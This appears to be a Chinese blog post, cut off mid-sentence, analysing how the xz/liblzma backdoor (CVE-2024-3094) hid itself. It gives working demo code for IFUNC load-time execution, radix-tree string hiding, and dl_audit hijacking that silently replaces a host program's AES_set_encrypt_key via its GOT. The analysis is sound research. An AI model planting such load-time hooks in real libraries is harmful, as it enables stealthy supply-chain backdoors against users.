对CVE-2024-3094漏洞的分析文章网上已经有好几篇了,这里来学习一下在该事件中后门隐藏的奇技淫巧。
技巧一:GLIBC的IFUNC特性 在GLIBC中有一个IFUNC(Indirect Functions)特性,要理解IFUNC的作用,我们先来看一段简单的示例代码,如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 #include <stdio.h> #include <stdlib.h> void foo_1 () { printf ("This is foo1\n" ); } void foo_2 () { printf ("This is foo2\n" ); } typedef void (*foo_t ) () ;void foo () __attribute__ ((__ifunc__("foo_resolver" ))) ;foo_t foo_resolver () { char *path; printf ("do foo_resolver\n" ); path = getenv("FOO" ); if (path) return foo_1; else return foo_2; } void __attribute__((constructor)) initFunc(void ) { printf ("do initFunc.\n" ); } int main (int argc, char *argv[]) { char *env; printf ("Do Main Func.\n" ); env = getenv("FOO" ); if (env) printf ("do test FOO = %s\n" , env); foo(); return 0 ; }
先解释一下上面的代码结构,首先是定义一个IFUNC特性的foo
函数:void foo() __attribute__((__ifunc__("foo_resolver")));
foo
函数执行的代码由foo_resolver
函数决定,我们编写的foo_resolver
函数的作用是判断是否设置了环境变量FOO
,如果设置了,那么foo
函数等于foo_1
函数,否则等于foo_2
函数。
最后还加了一个构造函数initFunc
,来对比一下构造函数和IFUNC函数执行的先后顺序。
接下来我们编译运行上面的代码,如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 $ gcc test.c -o test -g $ ./test do foo_resolverdo initFunc.Do Main Func. This is foo2 $ FOO=1 ./test do foo_resolverdo initFunc.Do Main Func. do test FOO = 1This is foo2
从上面的执行结果来看,我们能发现:
执行顺序是foo_resolver
-> initFunc
-> main
。
foo_resolver
函数无法获取FOO环境变量。
接着再从代码层面来看,通过IDA
对test
程序进行逆向分析,发现foo
函数被放在.got
表中,并没有发现任何调用foo_resolver
函数的代码。说明是由glibc的ld加载时确定foo
函数的地址,但是ld是如何知道要调用foo_resolver
函数呢?经过研究发现:
1 2 3 4 5 $ readelf -s test |grep foo 19 : 00000000000011 c3 26 FUNC GLOBAL DEFAULT 16 foo_2 31 : 00000000000011 a9 26 FUNC GLOBAL DEFAULT 16 foo_1 32 : 00000000000011 dd 71 IFUNC GLOBAL DEFAULT 16 foo 38 : 00000000000011 dd 71 FUNC GLOBAL DEFAULT 16 foo_resolver
在二进制文件的符号表中,定义了foo
函数的IFUNC
标志位,并且定义的地址为foo_resolver
函数的地址。
从这我们可以推断出,glibc在处理.got
表的地址时,如果发现IFUNC
标志位,那么执行该函数,然后把返回值写入.got
表中。
下一步,我们对代码进行调试来确认我们的推断,调试过程如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 $ gdb test pwndbg> b foo_resolver pwndbg> r ...... ► 0 0x5555555551e9 foo_resolver+12 1 0x7ffff7fd46eb _dl_relocate_object+2443 2 0x7ffff7fd46eb _dl_relocate_object+2443 3 0x7ffff7fd46eb _dl_relocate_object+2443 4 0x7ffff7fe6a63 dl_main+8579 5 0x7ffff7fe283c _dl_sysdep_start+1020 6 0x7ffff7fe4598 _dl_start+1384 7 0x7ffff7fe4598 _dl_start+1384 ...... RAX 0x5555555551c3 (foo_2) ◂— endbr64 ► 0x555555555223 <foo_resolver+70> ret <0x7ffff7fd46eb; _dl_relocate_object+2443> pwndbg> x/10gx 0x3FD0 + 0x555555554000 - 0x10 0x555555557fc0 <puts@got.plt>: 0x00007ffff7e0ce50 0x00007ffff7dec6f0 0x555555557fd0 <*ABS*@got.plt>: 0x0000000000001060 0x00007ffff7db5dc0 pwndbg> b main pwndbg> x/10gx 0x3FD0 + 0x555555554000 - 0x10 0x555555557fc0 <puts@got.plt>: 0x00007ffff7e0ce50 0x00007ffff7dec6f0 0x555555557fd0 <*ABS*@got.plt>: 0x00005555555551c3 0x00007ffff7db5dc0
在上面的调试内容中,我们可以得知:
foo_resolver
函数的调用流程大概是:_dl_start
->dl_main
->_dl_relocate_object
-> foo_resolver
。
*ABS*@got.plt
就是foo
函数的got表,该got表的值在调用完foo_resolver
函数后写入。
到这,可以解答前面的一个疑惑:由于foo_resolver
函数是在dl链接阶段被加载,这个时候环境变量还没被glibc加载,所以我们调用的getenv
函数都是返回NULL
,导致最终返回的都是foo_2
函数。
到此我们可以得出结论:GLIBC的IFUNC特性,可以让我们像使用构造函数(__attribute__((constructor))
)一样,在程序的LD加载阶段时自动运行,xz后门就利用该特性,在liblzma.so依赖库文件被加载时,自动运行后门代码。
另外,需要注意的是,IFUNC特性在glibc 2.11.1版本以上才被支持,如果要编译含有IFUNC功能的代码,需要使用GCC 4.6以上的编译器,并且要求GNU Binutils版本在2.20.1以上。
我们还可以写一个脚本简单的check一下所有包含IFUNC的so库:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 import osimport sysfrom elftools.elf.elffile import ELFFilefrom elftools.elf.sections import SymbolTableSectiondef find_all_files (path ): for root, dirs, files in os.walk(path): for file in files: yield os.path.join(root, file) def is_elf (file ): try : with open (file, "rb" ) as f: data = f.read(4 ) except : return False return data == b"\x7FELF" def get_ifunc_symbols (file_path ): with open (file_path, 'rb' ) as f: elffile = ELFFile(f) ifunc_symbols = [] for section in elffile.iter_sections(): if isinstance (section, SymbolTableSection): for symbol in section.iter_symbols(): if symbol['st_info' ]['type' ] == 'STT_LOOS' : ifunc_symbols.append(symbol) return ifunc_symbols for file in find_all_files(sys.argv[1 ]): if is_elf(file): symbols = get_ifunc_symbols(file) if symbols: print (f"{file} found ST_IFUNC" ) for symbol in symbols: print (f"Name: {symbol.name} , Address: {hex (symbol['st_value' ])} " )
使用方法如下:
1 2 3 4 5 6 7 8 9 10 11 $ python3 check.py /lib /lib/x86_64-linux-gnu/libz.so.1.2.11 found ST_IFUNC Name: crc32_z, Address: 0x75e0 /lib/x86_64-linux-gnu/libz.so found ST_IFUNC Name: crc32_z, Address: 0x75e0 /lib/x86_64-linux-gnu/libmvec.so.1 found ST_IFUNC Name: _ZGVdN8vv_atan2f, Address: 0x8450 Name: _ZGVdN4v_atan, Address: 0x6a90 Name: _ZGVbN4v_acosf, Address: 0x7e50 Name: _ZGVdN8v_sinf, Address: 0x8780 ......
最后还要考虑一点,在上面的例子中,因为IFUNC函数是在执行程序中,所以下断点是很容易的,但是如果遇到需要调试so库中的IFUNC函数时,就需要迂回的下断点。
随便找了一个示例代码[1] ,编译命令使用:gcc test2.c -o test2 -llzma -g
。
然后使用patchelf
工具,修改二进制程序的RPATH为liblzma.so
的路径:patchelf --set-rpath /home/ubuntu/xz-utils-vul/src/liblzma/.libs/ test2
。
接着写一个.gdbinit
脚本,可以直接断到lzma_crc64
函数:
1 2 3 4 5 6 7 8 9 10 11 $ cat .gdbinit b _start r b _dl_relocate_object c b *0x7ffff7f84580 (自行计算lzma_crc64地址) c c $ gdb test2 pwndbg> source .gdbinit ► 0x7ffff7f84580 endbr64
技巧二:利用Radix Tree隐藏字符 经常做逆向分析的都知道,很多时候都是通过特殊字符串来定位代码。但是在xz事件后门文件liblzma.so中,却没有发现任何异常字符串,就比如,现在我们都知道xz后门是针对sshd服务的关键函数进行hook,但是在liblzma.so
中却不包含任何sshd
相关的字符串,因为xz后门利用到了radix tree
算法。
已经有人针对该算法把liblzma.so
中的字符串提取出来了,可以参考提取出的字符串[2] 和提取字符串的代码[3] 。
上面的代码是针对该算法的逆向过程,我学习了一下该算法,用python写了一个正向过程的代码,如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 class RadixObject : louint64: int hiuint64: int childPtr: dict def __init__ (self, lo: int , hi: int ): self.louint64 = lo self.hiuint64 = hi self.endPoint = 0 self.childPtr = {} def isExist (self, char: int ) -> bool : if char < 0 or char >= 128 : raise Exception(f"isExist: char value err, char = {char} " ) if char < 0x40 : return (self.louint64 >> char) & 1 == 1 else : char -= 0x40 return (self.hiuint64 >> char) & 1 == 1 def getChild (self, char: int ): if char >= 0x40 : char -= 0x40 return self.childPtr[char] class RadixTree : def __init__ (self ): self.rootRadix: RadixObject = RadixObject(0 , 0 ) def insertStr (self, string: bytes ) -> int : if not self.checkValidStr(string): return -1 currentRadix = self.rootRadix for i in string[:-1 ]: currentRadix = self.__add(currentRadix, i) self.__add(currentRadix, string[-1 ], True ) return 1 def searchTest (self, string: bytes ) -> bool : if not self.checkValidStr(string): return False currentRadix = self.rootRadix for c in string[:-1 ]: if not currentRadix.isExist(c): return False currentRadix = currentRadix.getChild(c) if currentRadix.isExist(string[-1 ]) and (currentRadix.endPoint >> string[-1 ]) & 1 == 1 : return True return False def __add (self, radix: RadixObject, char: int , last: bool = False )->RadixObject: if last: radix.endPoint |= 1 << char if not radix.isExist(char): if char < 0x40 : radix.louint64 |= 1 <<char else : char -= 0x40 radix.hiuint64 |= 1 <<char radix.childPtr[char] = RadixObject(0 , 0 ) else : if char >= 0x40 : char -= 0x40 return radix.childPtr[char] def checkValidStr (self, string: bytes ) -> bool : for i in string: if i >= 0 and i < 128 : continue return False return True def main (): rd = RadixTree() rd.insertStr(b"ABCDEFG" ) rd.insertStr(b"IIBBJ" ) rd.insertStr(b"ABCDE" ) print (rd.searchTest(b"ABCDE" )) if __name__ == "__main__" : main()
上面编写的radix tree算法和xz后门的相比简化了压缩储存数据的部分,并且由于是用python编写,所以看着也更简单了。
研究xz后门都是自行本地编译liblzma.so文件,由于编译环境不同,所以编译出来的偏移地址会有些许区别,因此下面根据github上提取字符串的代码来简单讲解一下radix tree算法的逻辑。
在代码中,有两个内存表:tbl_1_mem
和tbl_2_mem
,都是从IDA中提取出来的,使用顺序是从后往前。
其中tbl_1_mem
表中的数据记录了flag信息和指向child链表的指针,一个结构体占4字节。
tbl_2_mem
表则是储存着字符信息,一个结构体占16字节,和上面我写的正向算法代码中,相当于RadixObject
对象的louint64
和hiuint64
。一共16字节,共128bit,所以可以表示128个字符,正好ascii码的范围是从0-127,所以一个结构体可以表示任意一个ascii码。
在代码中定义了tbl_2的起始偏移为:tbl_2_offs=0x760
,我们再计算一下表的大小和其差值:len(tbl_2_mem) - 0x760 = 16
。
可以看出radix tree的根链表在tbl_2的最后16字节中,还可以再算算tbl_1:
1 2 3 4 5 6 >>> popcount(tbl_2[0 ]) + popcount(tbl_2[1 ])30 >>> len (tbl_1_mem) - 0x13e8 120 >>> 120 / 4 30
如果要实现xz后门中radix tree算法的效果,首先要把上面提供的python代码转换为C代码,接着需要对内存进行压缩,比如在python代码中,子链表的key直接设置为字符的ascii码,在xz后门中,key设置的是从0开始的第n个字符。
radix tree算法可以很好的隐藏我们代码中的字符串信息,无需把字符串编译到代码中,有点类似签名验证,都是不可逆的算法,区别就是radix tree算法能很容易的通过爆破还原出所有的字符串信息。
技巧三:获取所有依赖库信息 这里简单阐述一下xz后门获取依赖库信息的方法。
获取__tls_get_addr
函数的.plt表地址,根据该地址获取到其.got表地址,从而获取到__tls_get_addr
函数的实际地址。
由于__tls_get_addr
函数是位于ld中的函数,所以可以根据该地址爆破出ld的基地址。
获取到ld的基地址后,就可以匹配ld的ELF头信息,这样就能很容易的匹配到ld的任意符号地址。
首先匹配的是ld的__libc_stack_end
指针,该变量指向栈底,正常情况下,该地址之后只储存着程序执行的参数和环境变量。
匹配到__libc_stack_end
地址后,就可以获取到执行参数和环境变量,对参数和环境变量进行一些过滤,满足条件的才进入后续执行。
接着匹配ld的_r_debug
指针,该指针储存着r_debug
结构体,在该结构体中储存着struct link_map *r_map
结构体,r_map
结构体储存着所有依赖库的地址。
根据r_map
结构体,就能直接匹配到libc.so
, libcrypto
, sshd
等文件的内存地址,知道地址后,根据第三步的步骤,就能获取到任意想匹配的符号地址,比如RSA_public_decrypt
函数地址。
上面的步骤看着很简单,但是代码写起来还是比较复杂的,我根据上面的逻辑,简化了一个demo代码出来,如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 #include "testlib.h" extern const void * __tls_get_addr ();extern void *_GLOBAL_OFFSET_TABLE_; void *ld_base_addr = 0 ;void foo_1 () { printf ("This is foo1\n" ); } void foo_2 () { printf ("This is foo2\n" ); } void *findLdBase () { void * tls_get_addr = __tls_get_addr; void *ld_end_addr = 0 ; ld_base_addr = (void *)((uint64_t )tls_get_addr & 0xFFFFFFFFFFFFF000 ); ld_end_addr = ld_base_addr - 0x20000 ; while (memcmp (ld_base_addr, "\x7F" "ELF" , 4 )) { ld_base_addr -= 0x1000 ; if (ld_base_addr == ld_end_addr) { printf ("findLdBase Error.\n" ); return (void *)-1 ; } } printf ("success find ld base addr: %p\n" , ld_base_addr); return ld_base_addr; } void *findSymAddr (void *addr, const char *symbol) { Elf64_Ehdr *ehdr = (Elf64_Ehdr *)addr; Elf64_Phdr *phdr = (Elf64_Phdr *)(addr + ehdr->e_phoff); Elf64_Dyn *dyn = NULL ; Elf64_Sym *symtab = NULL ; char *strtab = NULL ; void (*symAddr)(); for (int i = 0 ; i < ehdr->e_phnum; i++) { if (phdr[i].p_type == PT_DYNAMIC) { dyn = (Elf64_Dyn *)(addr + phdr[i].p_vaddr); break ; } } if (dyn == NULL ) { printf ("Dynamic segment not found.\n" ); return NULL ; } for (int i = 0 ; dyn[i].d_tag != DT_NULL; i++) { if (dyn[i].d_tag == DT_SYMTAB) { symtab = (Elf64_Sym *)(dyn[i].d_un.d_ptr); } if (dyn[i].d_tag == DT_STRTAB) { strtab = (char *)(dyn[i].d_un.d_ptr); } } if (symtab == NULL || strtab == NULL ) { printf ("Symbol table or string table not found.\n" ); return NULL ; } for (int i = 0 ; &symtab[i] < strtab; i++) { if (strcmp (strtab + symtab[i].st_name, symbol) == 0 ) { symAddr = (void *)addr + symtab[i].st_value; printf ("Symbol %s found at address %p\n" , symbol, symAddr); return symAddr; } } printf ("Symbol %s not found.\n" , symbol); return NULL ; } void getArgsEnv (void *stackAddr[]) { char **argv = *(char **)stackAddr; char **envp; int i; int argc = (int )argv[0 ]; printf ("argc = %d\n" , argc); for (i=1 ; argv[i] != 0 ; i++) { printf ("argv[%d] = %s\n" , i-1 , argv[i]); } envp = &argv[i+1 ]; for (i=0 ; envp[i] != 0 ; i++) { printf ("envp[%d] = %s\n" , i, envp[i]); } } void getLinkMap (struct link_map *r_map) { char *l_name; while (1 ) { printf ("name = %s, addr = %p, ld addr = %p\n" , r_map->l_name, r_map->l_addr, r_map->l_ld); if (strstr (r_map->l_name, "libc.so.6" )) { findSymAddr(r_map->l_addr, "system" ); } if (!r_map->l_next) break ; r_map = r_map->l_next; } } int doBackdoor () { int status; void (*ldBaseAddr)(); void (*libc_stack_end)(); struct r_debug * rc_debug ; ldBaseAddr = findLdBase(); if ((int64_t )ldBaseAddr <= 0 ) goto error; libc_stack_end = findSymAddr(ldBaseAddr, "__libc_stack_end" ); getArgsEnv(libc_stack_end); rc_debug = findSymAddr(ldBaseAddr, "_r_debug" ); getLinkMap(rc_debug->r_map); error: return -1 ; } void foo () __attribute__ ((__ifunc__("foo_resolver" ))) ;foo_t foo_resolver () { char *path; printf ("do foo_resolver\n" ); doBackdoor(); path = getenv("PATH" ); if (path) return foo_1; else return foo_2; }
再随便写一个main
函数:
1 2 3 4 5 6 7 8 9 #include "testlib.h" int main (int argc, char *argv[]) { foo(); return 0 ; }
头文件内容为:
1 2 3 4 5 6 7 8 9 10 11 12 #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <elf.h> #include <link.h> typedef void (*foo_t ) () ;foo_t foo_resolver () ;void foo_2 () ;void foo_1 () ;
运行结果如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 $ LD_LIBRARY_PATH=. ./test4 do foo_resolversuccess find ld base addr: 0x7f8a42a9f000 Symbol __libc_stack_end found at address 0x7f8a42ad8a90 argc = 1 argv[0] = ./test4 envp[0] = USER=ubuntu ...... Symbol _r_debug found at address 0x7f8a42ada118 name = , addr = 0x5624d7d18000, ld addr = 0x5624d7d1bdb8 name = linux-vdso.so.1, addr = 0x7ffe2979c000, ld addr = 0x7ffe2979c3e0 name = ./libtest.so, addr = 0x7f8a42a98000, ld addr = 0x7f8a42a9bdf0 name = /lib/x86_64-linux-gnu/libc.so.6, addr = 0x7f8a42869000, ld addr = 0x7f8a42a82bc0 Symbol system found at address 0x7f8a428b9d70 name = /lib64/ld-linux-x86-64.so.2, addr = 0x7f8a42a9f000, ld addr = 0x7f8a42ad8e80 This is foo2
上面的代码属于xz后门的简化版,只实现了核心功能,并且能直接用库函数的就直接用,在xz后门中,基本是没有使用库函数,都是自己实现的所有功能。
下面简单梳理一下上面代码的主要逻辑:
通过__tls_get_addr
地址爆破出ld的基地址。
实现一个函数,能通过ELF文件的内存基地址,找到任意符号地址。
搜索出__libc_stack_end
地址,然后根据该地址输出参数和环境变量信息。
搜索出_r_debug
地址,通过该地址找到所有加载的程序的信息。
xz后门在sshd程序中找到RSA_public_decrypt
地址,模拟成在libc
中找到system
函数地址。
注意事项
name = 空白
的为主程序。
findSymAddr函数是使用调教过后的GPT4自动生成。
在我编写的代码是直接获取__tls_get_addr
函数.got
表的地址,所以可以直接获取函数的实际地址。但是在xz后门中,是获取__tls_get_addr
函数.plt.got
的地址,暂时没明白是如何实现的,使用命令readelf -r liblzma_la-crc64_fast.o(存在后门)
,发现有一个重定向表,暂时也不清楚是如何实现的:
1 2 3 4 Relocation section '.rela.rodata.rc_encode' at offset 0x157c8 contains 2 entries: Offset Info Type Sym. Value Sym. Name + Addend 000000000000 010e0000001f R_X86_64_PLTOFF64 0000000000000000 __tls_get_addr + 0 000000000008 00d400000019 R_X86_64_GOTOFF64 0000000000000000 .Lx86_coder_destroy + 0
研究了一下,没明白在不patch二进制的情况下,如何在.rodata
段编译一个R_X86_64_PLTOFF64/R_X86_64_GOTOFF64
类型的值。
技巧四:hook其他依赖库函数 很多文章都有说到xz后门是利用dl_audit
机制来进行函数hook的,但是基本上都认为大家都知道该机制,并没有讲解该机制流程。
所以,下面将对xz后门利用dl_audit
机制进行函数hook的流程进行说明。
有一篇参考文章[4] 中说是在_dl_audit_symbind_alt
函数中调用install_hooks
函数,但是在ubuntu22.04的环境上调试发现,调用的是_dl_audit_symbind
,并不会调用到_dl_audit_symbind_alt
函数。
位于elf/do-rel.h
文件中的elf_dynamic_do_Rel
函数会调用_dl_audit_symbind
,代码如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ...... elf_machine_rel (map , scope, r, sym, rversion, r_addr_arg, skip_ifunc); #if defined SHARED && !defined RTLD_BOOTSTRAP if (ELFW(R_TYPE) (r->r_info) == ELF_MACHINE_JMP_SLOT && GLRO(dl_naudit) > 0 ) { struct link_map *sym_map = RESOLVE_MAP (map , scope, &sym, rversion, ELF_MACHINE_JMP_SLOT); if (sym != NULL ) _dl_audit_symbind (map , NULL , sym, r_addr_arg, sym_map); } #endif } ......
通过上面代码发现,首先需要满足GLRO(dl_naudit) > 0
条件才会进入_dl_audit_symbind
函数。
_dl_audit_symbind
位于elf/dl-audit.c
文件中,部分代码如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 void _dl_audit_symbind (struct link_map *l, struct reloc_result *reloc_result, const ElfW(Sym) *defsym, DL_FIXUP_VALUE_TYPE *value, lookup_t result) { bool for_jmp_slot = reloc_result == NULL ; unsigned int boundndx = defsym - (ElfW(Sym) *) D_PTR (result, l_info[DT_SYMTAB]); if (!for_jmp_slot) { reloc_result->bound = result; reloc_result->boundndx = boundndx; } if ((l->l_audit_any_plt | result->l_audit_any_plt) == 0 ) { if (!for_jmp_slot) reloc_result->enterexit = (1u << DL_NNS) - 1 ; return ; } ...... for (unsigned int cnt = 0 ; cnt < GLRO(dl_naudit); ++cnt) { struct auditstate *l_state = link_map_audit_state (l, cnt); struct auditstate *result_state = link_map_audit_state (result, cnt); if ((l_state->bindflags & LA_FLG_BINDFROM) != 0 && (result_state->bindflags & LA_FLG_BINDTO) != 0 ) { if (afct->symbind != NULL ) { flags |= for_jmp_slot ? LA_SYMB_NOPLTENTER | LA_SYMB_NOPLTEXIT : 0 ; new_value = afct->symbind (&sym, boundndx, &l_state->cookie, &result_state->cookie, &flags, strtab2 + defsym->st_name); ......
经过研究发现_dl_audit_symbind
函数必须得满足(l->l_audit_any_plt | result->l_audit_any_plt) == 0
条件,还有l_state
和result_state
满足相应条件,才能进入后续流程调用afct->symbind
函数。
比较关键的条件都讲完了,现在说说xz后门hook函数的逻辑。
首先在ld中找到_dl_audit_symbind_alt
符号,然后在该函数的内存中通过内置的反汇编函数,找到GLRO(dl_audit)
和GLRO(dl_naudit)
变量的地址。(这里可以有个猜测,那篇参考文章[4] 这部分分析错了,xz后门是通过_dl_audit_symbind_alt
函数匹配出两个变量的地址,而不是之后会调用该函数。)
把dl_naudit赋值为1,dl_audit结构体的symbind64函数指针设置为install_hook
函数。
在r_debug
结构体中匹配出的sshd
的ELF文件的link_map
结构体,设置其成员变量l_audit_any_plt
的值为1。
ld在处理重定向表时,首先处理的是so库的,在处理liblzma.so
的重定向表是,调用到后门函数,做了上面这部分处理。
最后在处理sshd
的重定向表时,会进入到_dl_audit_symbind
函数的流程,处理每个重定向表都会调用该函数,随后在install_hook
函数对符号名进行过滤,如果匹配到RSA_public_decrypt
, EVP_PKEY_set1_RSA
, RSA_get0_key
符号时,会修改sshd的got表,修改为其的hook函数,并且修改改符号的Elf64_Sym
结构体。
下面写一个简单的demo来模拟一下xz后门的上述逻辑过程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 #include "testlib.h" extern const void * __tls_get_addr ();extern void *_GLOBAL_OFFSET_TABLE_; void *ld_base_addr = 0 ;struct audit_ifaces dl_audit ;void **aes_func_got;void foo_1 () { printf ("This is foo1\n" ); } void foo_2 () { printf ("This is foo2\n" ); } void hook_aes_func (char *key, int length, char *enc_key) { printf ("do hook_aes_func\nlength = %d\n" , length); } uint64_t install_hook (Elf64_Sym *a1, void *a2, void *a3, void *a4, void *a5, char *sym_name) { printf ("do install_hook, sym_name = %s\n" , sym_name); if (!strcmp (sym_name, "AES_set_encrypt_key" )) { *aes_func_got = &hook_aes_func; a1->st_value = &hook_aes_func; } return a1->st_value; } void *findLdBase () { void * tls_get_addr = __tls_get_addr; void *ld_end_addr = 0 ; ld_base_addr = (void *)((uint64_t )tls_get_addr & 0xFFFFFFFFFFFFF000 ); ld_end_addr = ld_base_addr - 0x20000 ; while (memcmp (ld_base_addr, "\x7F" "ELF" , 4 )) { ld_base_addr -= 0x1000 ; if (ld_base_addr == ld_end_addr) { printf ("findLdBase Error.\n" ); return (void *)-1 ; } } printf ("success find ld base addr: %p\n" , ld_base_addr); return ld_base_addr; } void *findSymAddr (void *addr, const char *symbol, int mode) { Elf64_Ehdr *ehdr = (Elf64_Ehdr *)addr; Elf64_Phdr *phdr = (Elf64_Phdr *)(addr + ehdr->e_phoff); Elf64_Dyn *dyn = NULL ; Elf64_Sym *symtab = NULL ; char *strtab = NULL ; void (*symAddr)(); Elf64_Rela* relas = NULL ; int rela_count = 0 ; for (int i = 0 ; i < ehdr->e_phnum; i++) { if (phdr[i].p_type == PT_DYNAMIC) { dyn = (Elf64_Dyn *)(addr + phdr[i].p_vaddr); break ; } } if (dyn == NULL ) { printf ("Dynamic segment not found.\n" ); return NULL ; } for (int i = 0 ; dyn[i].d_tag != DT_NULL; i++) { if (dyn[i].d_tag == DT_SYMTAB) { symtab = (Elf64_Sym *)(dyn[i].d_un.d_ptr); } else if (dyn[i].d_tag == DT_STRTAB) { strtab = (char *)(dyn[i].d_un.d_ptr); } else if (dyn[i].d_tag == DT_JMPREL) { relas = (Elf64_Rela*) ((char *)dyn[i].d_un.d_ptr); } else if (dyn[i].d_tag == DT_PLTRELSZ) { rela_count = dyn[i].d_un.d_ptr / sizeof (Elf64_Rela); } } if (symtab == NULL || strtab == NULL ) { printf ("Symbol table or string table not found.\n" ); return NULL ; } if (mode == 1 && relas == NULL ) { printf ("rela table not found.\n" ); return NULL ; } if (mode == 1 ) { for (int i = 0 ; i < rela_count; i++) { Elf64_Sym* sym = &symtab[ELF64_R_SYM(relas[i].r_info)]; if (strcmp (strtab + sym->st_name, symbol) == 0 ) { symAddr = (void *)addr + relas[i].r_offset; printf ("Symbol %s got found at address %p\n" , symbol, symAddr); return symAddr; } } } else { for (int i = 0 ; &symtab[i] < strtab; i++) { if (strcmp (strtab + symtab[i].st_name, symbol) == 0 ) { symAddr = (void *)addr + symtab[i].st_value; printf ("Symbol %s found at address %p\n" , symbol, symAddr); return symAddr; } } } printf ("Symbol %s not found.\n" , symbol); return NULL ; } void setAuditPtr (struct link_map *r_map) { char *l_name; struct link_map *elf_ptr = 0 ; struct link_map *libcrypto_ptr = 0 ; char plt; while (1 ) { if (r_map->l_name && *(char *)r_map->l_name == 0 ) { printf ("name = %s, addr = %p, ld addr = %p\n" , r_map->l_name, r_map->l_addr, r_map->l_ld); elf_ptr = r_map; aes_func_got = findSymAddr(r_map->l_addr, "AES_set_encrypt_key" , 1 ); } else if (strstr (r_map->l_name, "libcrypto.so.3" )) { printf ("name = %s, addr = %p, ld addr = %p\n" , r_map->l_name, r_map->l_addr, r_map->l_ld); libcrypto_ptr = r_map; } if (!r_map->l_next) break ; r_map = r_map->l_next; } if (!elf_ptr) { printf ("get elf link_map error\n" ); return ; } printf ("success get elf link_map = %p\n" , elf_ptr); plt = *((char *)elf_ptr + 0x31e ); *((char *)elf_ptr + 0x31e ) = plt | 1 ; *((char *)elf_ptr + 0x488 + 8 ) = 2 ; *((char *)libcrypto_ptr + 0x488 + 8 ) = 1 ; } int doBackdoor () { int status; void (*ldBaseAddr)(); void (*libc_stack_end)(); void *rtld_global_ro; struct r_debug * rc_debug ; int *dl_naudit; struct audit_ifaces **dl_audit_ptr ; ldBaseAddr = findLdBase(); if ((int64_t )ldBaseAddr <= 0 ) goto error; rc_debug = findSymAddr(ldBaseAddr, "_r_debug" , 0 ); setAuditPtr(rc_debug->r_map); rtld_global_ro = findSymAddr(ldBaseAddr, "_rtld_global_ro" , 0 ); dl_naudit = rtld_global_ro + 920 ; *dl_naudit = 1 ; dl_audit_ptr = rtld_global_ro + 912 ; dl_audit.symbind64 = install_hook; *dl_audit_ptr = &dl_audit; error: return -1 ; } void foo () __attribute__ ((__ifunc__("foo_resolver" ))) ;foo_t foo_resolver () { char *path; printf ("do foo_resolver\n" ); doBackdoor(); path = getenv("PATH" ); if (path) return foo_1; else return foo_2; }
还有一个主程序,代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 #include "testlib.h" #include <openssl/aes.h> void importCryptoDemo () { AES_KEY enc_key; unsigned char key[AES_BLOCK_SIZE]; memset (key, 0 , AES_BLOCK_SIZE); AES_set_encrypt_key(key, 128 , &enc_key); } int main (int argc, char *argv[]) { char *path; foo(); importCryptoDemo(); return 0 ; }
执行结果如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 $ LD_LIBRARY_PATH=. ./test5 do foo_resolversuccess find ld base addr: 0x7f1e9ad80000 Symbol _r_debug found at address 0x7f1e9adbb118 name = , addr = 0x561bd3a66000, ld addr = 0x561bd3a69d90 Symbol AES_set_encrypt_key got found at address 0x561bd3a69fd0 name = /lib/x86_64-linux-gnu/libcrypto.so.3, addr = 0x7f1e9a92f000, ld addr = 0x7f1e9ad6c8a0 success get elf link_map = 0x7f1e9adbb2e0 Symbol _rtld_global_ro found at address 0x7f1e9adb9ae0 do install_hook, sym_name = AES_set_encrypt_keydo install_hook, sym_name = callocdo install_hook, sym_name = freedo install_hook, sym_name = mallocdo install_hook, sym_name = reallocThis is foo2 do hook_aes_funclength = 128
模拟xz后门hook的逻辑,把AES_set_encrypt_key
函数替换成hook_aes_func
函数。
总结 本文中测试的demo代码是按照xz后门的原理,化简后编写出来的,xz后门的代码复杂度比上面的demo高出非常多,除了lzma_alloc
